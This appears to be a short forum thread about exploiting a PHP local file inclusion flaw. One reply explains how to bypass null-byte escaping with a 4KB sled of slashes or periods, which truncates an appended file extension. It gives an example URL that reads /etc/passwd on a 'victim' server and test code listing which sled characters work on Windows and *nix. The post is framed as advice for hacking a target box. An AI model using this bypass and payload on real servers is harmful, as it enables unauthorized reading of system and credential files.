@PaPPy: %0A doesn't seem to work for me. I tested through every character on a windows and a *nix box. Both only allow %00 when running the following code
for($a=0;$a<256;$a+=1){
include('someFile.php'.chr($a).'.html');
}
Anything I'm missing?
@Chuks: The problem is the server is slashing the null byte. The server either has magic_quotes turned on or it's running addslashes() on your input. I did some testing, and the bypasses I found seem to be different based on the os. For windows, trail your file with a sled of periods. For *nix (which you're attacking) use a sled of slashes.
And by sled, I mean 4KB worth.
So, to hack the box, try what this evals to:
$url='http://victim.com/?injectFile=../../../../../../etc/passwd'.str_repeat('/',4096);
My test code to check which char sled works:
for($a=0;$a<256;$a+=1){
$sled=str_repeat(chr($a),4096);
@include('someFileThatExists.php'.$sled.'.html');
}
//windows allows chars 0,32,34,46,60,62
//*nix allows chars 0,47
---
$emo=addslashes($wrist);